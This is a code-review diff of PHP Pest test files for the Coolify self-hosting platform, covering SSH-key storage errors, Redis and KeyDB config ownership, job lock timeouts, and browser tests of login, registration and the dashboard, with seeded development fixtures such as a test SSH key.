$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->manageEnvironment($user, $model))->toBeFalse();
|
||||
});
|
||||
@@ -112,7 +112,7 @@ uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
);
|
||||
|
||||
$this->expectException(\Exception::class);
|
||||
$this->expectExceptionMessage('SSH keys storage directory is not writable');
|
||||
$this->expectExceptionMessage('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify');
|
||||
|
||||
PrivateKey::createAndStore([
|
||||
'name' => 'Test Key',
|
||||
|
||||
@@ -24,7 +24,7 @@ it('uses WithoutOverlapping middleware with expireAfter to prevent stale locks',
|
||||
$expiresAfterProperty->setAccessible(true);
|
||||
$expiresAfter = $expiresAfterProperty->getValue($overlappingMiddleware);
|
||||
|
||||
expect($expiresAfter)->toBe(60)
|
||||
expect($expiresAfter)->toBe(90)
|
||||
->and($expiresAfter)->toBeGreaterThan(0, 'expireAfter must be set to prevent stale locks');
|
||||
|
||||
// Check releaseAfter is NOT set (we use dontRelease)
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Database\StartKeydb;
|
||||
use App\Models\StandaloneKeydb;
|
||||
|
||||
test('keydb config chown command is added when keydb_conf is set', function () {
|
||||
$action = new StartKeydb;
|
||||
$action->configuration_dir = '/data/coolify/databases/test-uuid';
|
||||
$action->commands = [];
|
||||
|
||||
$database = Mockery::mock(StandaloneKeydb::class)->makePartial();
|
||||
$database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('maxmemory 2gb');
|
||||
$action->database = $database;
|
||||
|
||||
if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
|
||||
$action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
|
||||
}
|
||||
|
||||
expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/keydb.conf');
|
||||
});
|
||||
|
||||
test('keydb config chown command is not added when keydb_conf is null', function () {
|
||||
$action = new StartKeydb;
|
||||
$action->configuration_dir = '/data/coolify/databases/test-uuid';
|
||||
$action->commands = [];
|
||||
|
||||
$database = Mockery::mock(StandaloneKeydb::class)->makePartial();
|
||||
$database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn(null);
|
||||
$action->database = $database;
|
||||
|
||||
if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
|
||||
$action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
|
||||
}
|
||||
|
||||
expect($action->commands)->toBeEmpty();
|
||||
});
|
||||
|
||||
test('keydb config chown command is not added when keydb_conf is empty', function () {
|
||||
$action = new StartKeydb;
|
||||
$action->configuration_dir = '/data/coolify/databases/test-uuid';
|
||||
$action->commands = [];
|
||||
|
||||
$database = Mockery::mock(StandaloneKeydb::class)->makePartial();
|
||||
$database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('');
|
||||
$action->database = $database;
|
||||
|
||||
if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
|
||||
$action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
|
||||
}
|
||||
|
||||
expect($action->commands)->toBeEmpty();
|
||||
});
|
||||
@@ -0,0 +1,53 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Database\StartRedis;
|
||||
use App\Models\StandaloneRedis;
|
||||
|
||||
test('redis config chown command is added when redis_conf is set', function () {
|
||||
$action = new StartRedis;
|
||||
$action->configuration_dir = '/data/coolify/databases/test-uuid';
|
||||
$action->commands = [];
|
||||
|
||||
$database = Mockery::mock(StandaloneRedis::class)->makePartial();
|
||||
$database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('maxmemory 2gb');
|
||||
$action->database = $database;
|
||||
|
||||
// Simulate the chown logic from handle()
|
||||
if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
|
||||
$action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
|
||||
}
|
||||
|
||||
expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/redis.conf');
|
||||
});
|
||||
|
||||
test('redis config chown command is not added when redis_conf is null', function () {
|
||||
$action = new StartRedis;
|
||||
$action->configuration_dir = '/data/coolify/databases/test-uuid';
|
||||
$action->commands = [];
|
||||
|
||||
$database = Mockery::mock(StandaloneRedis::class)->makePartial();
|
||||
$database->shouldReceive('getAttribute')->with('redis_conf')->andReturn(null);
|
||||
$action->database = $database;
|
||||
|
||||
if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
|
||||
$action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
|
||||
}
|
||||
|
||||
expect($action->commands)->toBeEmpty();
|
||||
});
|
||||
|
||||
test('redis config chown command is not added when redis_conf is empty', function () {
|
||||
$action = new StartRedis;
|
||||
$action->configuration_dir = '/data/coolify/databases/test-uuid';
|
||||
$action->commands = [];
|
||||
|
||||
$database = Mockery::mock(StandaloneRedis::class)->makePartial();
|
||||
$database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('');
|
||||
$action->database = $database;
|
||||
|
||||
if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
|
||||
$action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
|
||||
}
|
||||
|
||||
expect($action->commands)->toBeEmpty();
|
||||
});
|
||||
@@ -0,0 +1,162 @@
|
||||
<?php
|
||||
|
||||
use App\Enums\ProxyStatus;
|
||||
use App\Enums\ProxyTypes;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::create(['id' => 0]);
|
||||
|
||||
$this->user = User::factory()->create([
|
||||
'id' => 0,
|
||||
'name' => 'Root User',
|
||||
'email' => 'test@example.com',
|
||||
'password' => Hash::make('password'),
|
||||
]);
|
||||
|
||||
PrivateKey::create([
|
||||
'id' => 1,
|
||||
'uuid' => 'ssh-test',
|
||||
'team_id' => 0,
|
||||
'name' => 'Test Key',
|
||||
'description' => 'Test SSH key',
|
||||
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----',
|
||||
]);
|
||||
|
||||
Server::create([
|
||||
'id' => 0,
|
||||
'uuid' => 'localhost',
|
||||
'name' => 'localhost',
|
||||
'description' => 'This is a test docker container in development mode',
|
||||
'ip' => 'coolify-testing-host',
|
||||
'team_id' => 0,
|
||||
'private_key_id' => 1,
|
||||
'proxy' => [
|
||||
'type' => ProxyTypes::TRAEFIK->value,
|
||||
'status' => ProxyStatus::EXITED->value,
|
||||
],
|
||||
]);
|
||||
|
||||
Server::create([
|
||||
'uuid' => 'production-1',
|
||||
'name' => 'production-web',
|
||||
'description' => 'Production web server cluster',
|
||||
'ip' => '10.0.0.1',
|
||||
'team_id' => 0,
|
||||
'private_key_id' => 1,
|
||||
'proxy' => [
|
||||
'type' => ProxyTypes::TRAEFIK->value,
|
||||
'status' => ProxyStatus::EXITED->value,
|
||||
],
|
||||
]);
|
||||
|
||||
Server::create([
|
||||
'uuid' => 'staging-1',
|
||||
'name' => 'staging-server',
|
||||
'description' => 'Staging environment server',
|
||||
'ip' => '10.0.0.2',
|
||||
'team_id' => 0,
|
||||
'private_key_id' => 1,
|
||||
'proxy' => [
|
||||
'type' => ProxyTypes::TRAEFIK->value,
|
||||
'status' => ProxyStatus::EXITED->value,
|
||||
],
|
||||
]);
|
||||
|
||||
Project::create([
|
||||
'uuid' => 'project-1',
|
||||
'name' => 'My first project',
|
||||
'description' => 'This is a test project in development',
|
||||
'team_id' => 0,
|
||||
]);
|
||||
|
||||
Project::create([
|
||||
'uuid' => 'project-2',
|
||||
'name' => 'Production API',
|
||||
'description' => 'Backend services for production',
|
||||
'team_id' => 0,
|
||||
]);
|
||||
|
||||
Project::create([
|
||||
'uuid' => 'project-3',
|
||||
'name' => 'Staging Environment',
|
||||
'description' => 'Staging and QA testing',
|
||||
'team_id' => 0,
|
||||
]);
|
||||
});
|
||||
|
||||
function loginAndSkipOnboarding(): mixed
|
||||
{
|
||||
return visit('/login')
|
||||
->fill('email', 'test@example.com')
|
||||
->fill('password', 'password')
|
||||
->click('Login')
|
||||
->click('Skip Setup');
|
||||
}
|
||||
|
||||
it('redirects to login when not authenticated', function () {
|
||||
$page = visit('/');
|
||||
|
||||
$page->assertPathIs('/login')
|
||||
->screenshot();
|
||||
});
|
||||
|
||||
it('shows onboarding after first login', function () {
|
||||
$page = visit('/login');
|
||||
|
||||
$page->fill('email', 'test@example.com')
|
||||
->fill('password', 'password')
|
||||
->click('Login')
|
||||
->assertSee('Welcome to Coolify')
|
||||
->assertSee("Let's go!")
|
||||
->assertSee('Skip Setup')
|
||||
->screenshot();
|
||||
});
|
||||
|
||||
it('shows dashboard after skipping onboarding', function () {
|
||||
$page = loginAndSkipOnboarding();
|
||||
|
||||
$page->assertSee('Dashboard')
|
||||
->assertSee('Your self-hosted infrastructure.')
|
||||
->screenshot();
|
||||
});
|
||||
|
||||
it('shows all projects on dashboard', function () {
|
||||
$page = loginAndSkipOnboarding();
|
||||
|
||||
$page->assertSee('Projects')
|
||||
->assertSee('My first project')
|
||||
->assertSee('This is a test project in development')
|
||||
->assertSee('Production API')
|
||||
->assertSee('Backend services for production')
|
||||
->assertSee('Staging Environment')
|
||||
->assertSee('Staging and QA testing')
|
||||
->screenshot();
|
||||
});
|
||||
|
||||
it('shows servers on dashboard', function () {
|
||||
$page = loginAndSkipOnboarding();
|
||||
|
||||
$page->assertSee('Servers')
|
||||
->assertSee('localhost')
|
||||
->assertSee('This is a test docker container in development mode')
|
||||
->assertSee('production-web')
|
||||
->assertSee('Production web server cluster')
|
||||
->assertSee('staging-server')
|
||||
->assertSee('Staging environment server')
|
||||
->screenshot();
|
||||
});
|
||||
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::create(['id' => 0]);
|
||||
});
|
||||
|
||||
it('shows registration page when no users exist', function () {
|
||||
$page = visit('/login');
|
||||
|
||||
$page->assertSee('Root User Setup')
|
||||
->assertSee('Create Account')
|
||||
->screenshot();
|
||||
});
|
||||
|
||||
it('can login with valid credentials', function () {
|
||||
User::factory()->create([
|
||||
'id' => 0,
|
||||
'email' => 'test@example.com',
|
||||
'password' => Hash::make('password'),
|
||||
]);
|
||||
|
||||
$page = visit('/login');
|
||||
|
||||
$page->fill('email', 'test@example.com')
|
||||
->fill('password', 'password')
|
||||
->click('Login')
|
||||
->assertSee('Welcome to Coolify')
|
||||
->screenshot();
|
||||
});
|
||||
|
||||
it('fails login with invalid credentials', function () {
|
||||
User::factory()->create([
|
||||
'id' => 0,
|
||||
'email' => 'test@example.com',
|
||||
'password' => Hash::make('password'),
|
||||
]);
|
||||
|
||||
$page = visit('/login');
|
||||
|
||||
$page->fill('email', 'random@email.com')
|
||||
->fill('password', 'wrongpassword123')
|
||||
->click('Login')
|
||||
->assertSee('These credentials do not match our records')
|
||||
->screenshot();
|
||||
});
|
||||
@@ -0,0 +1,67 @@
|
||||
<?php
|
||||
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::create(['id' => 0]);
|
||||
});
|
||||
|
||||
it('shows registration page when no users exist', function () {
|
||||
$page = visit('/register');
|
||||
|
||||
$page->assertSee('Root User Setup')
|
||||
->assertSee('Create Account')
|
||||
->screenshot();
|
||||
});
|
||||
|
||||
it('can register a new root user', function () {
|
||||
$page = visit('/register');
|
||||
|
||||
$page->fill('name', 'Test User')
|
||||
->fill('email', 'root@example.com')
|
||||
->fill('password', 'Password1!@')
|
||||
->fill('password_confirmation', 'Password1!@')
|
||||
->click('Create Account')
|
||||
->assertPathIs('/onboarding')
|
||||
->screenshot();
|
||||
|
||||
expect(User::where('email', 'root@example.com')->exists())->toBeTrue();
|
||||
});
|
||||
|
||||
it('fails registration with mismatched passwords', function () {
|
||||
$page = visit('/register');
|
||||
|
||||
$page->fill('name', 'Test User')
|
||||
->fill('email', 'root@example.com')
|
||||
->fill('password', 'Password1!@')
|
||||
->fill('password_confirmation', 'DifferentPass1!@')
|
||||
->click('Create Account')
|
||||
->assertSee('password')
|
||||
->screenshot();
|
||||
});
|
||||
|
||||
it('fails registration with weak password', function () {
|
||||
$page = visit('/register');
|
||||
|
||||
$page->fill('name', 'Test User')
|
||||
->fill('email', 'root@example.com')
|
||||
->fill('password', 'short')
|
||||
->fill('password_confirmation', 'short')
|
||||
->click('Create Account')
|
||||
->assertSee('password')
|
||||
->screenshot();
|
||||
});
|
||||
|
||||
it('shows login link when a user already exists', function () {
|
||||
User::factory()->create(['id' => 0]);
|
||||
|
||||
$page = visit('/register');
|
||||
|
||||
$page->assertSee('Already registered?')
|
||||
->assertDontSee('Root User Setup')
|
||||
->screenshot();
|
||||
});
|
||||
@@ -0,0 +1,18 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('uses sqlite for testing', function () {
|
||||
expect(DB::connection()->getDriverName())->toBe('sqlite');
|
||||
});
|
||||
|
||||
it('runs migrations successfully', function () {
|
||||
expect(Schema::hasTable('users'))->toBeTrue();
|
||||
expect(Schema::hasTable('teams'))->toBeTrue();
|
||||
expect(Schema::hasTable('servers'))->toBeTrue();
|
||||
expect(Schema::hasTable('applications'))->toBeTrue();
|
||||
});
|
||||
Reference in new issue
Block a user